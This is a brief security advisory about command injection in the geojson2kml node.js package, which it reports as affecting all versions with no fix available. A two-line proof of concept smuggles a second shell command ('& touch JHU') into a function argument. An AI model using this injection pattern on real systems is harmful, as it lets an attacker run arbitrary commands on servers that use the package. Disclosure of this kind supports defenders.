Command Injection

Affecting geojson2kml package, ALL versions

Overview

geojson2kml is a node.js module for converting geojson to kml

Affected versions of this package are vulnerable to Command Injection via the index.js file.

PoC:

var a =require("geojson2kml");
a("./","& touch JHU",function(){})

Remediation

There is no fixed version for geojson2kml.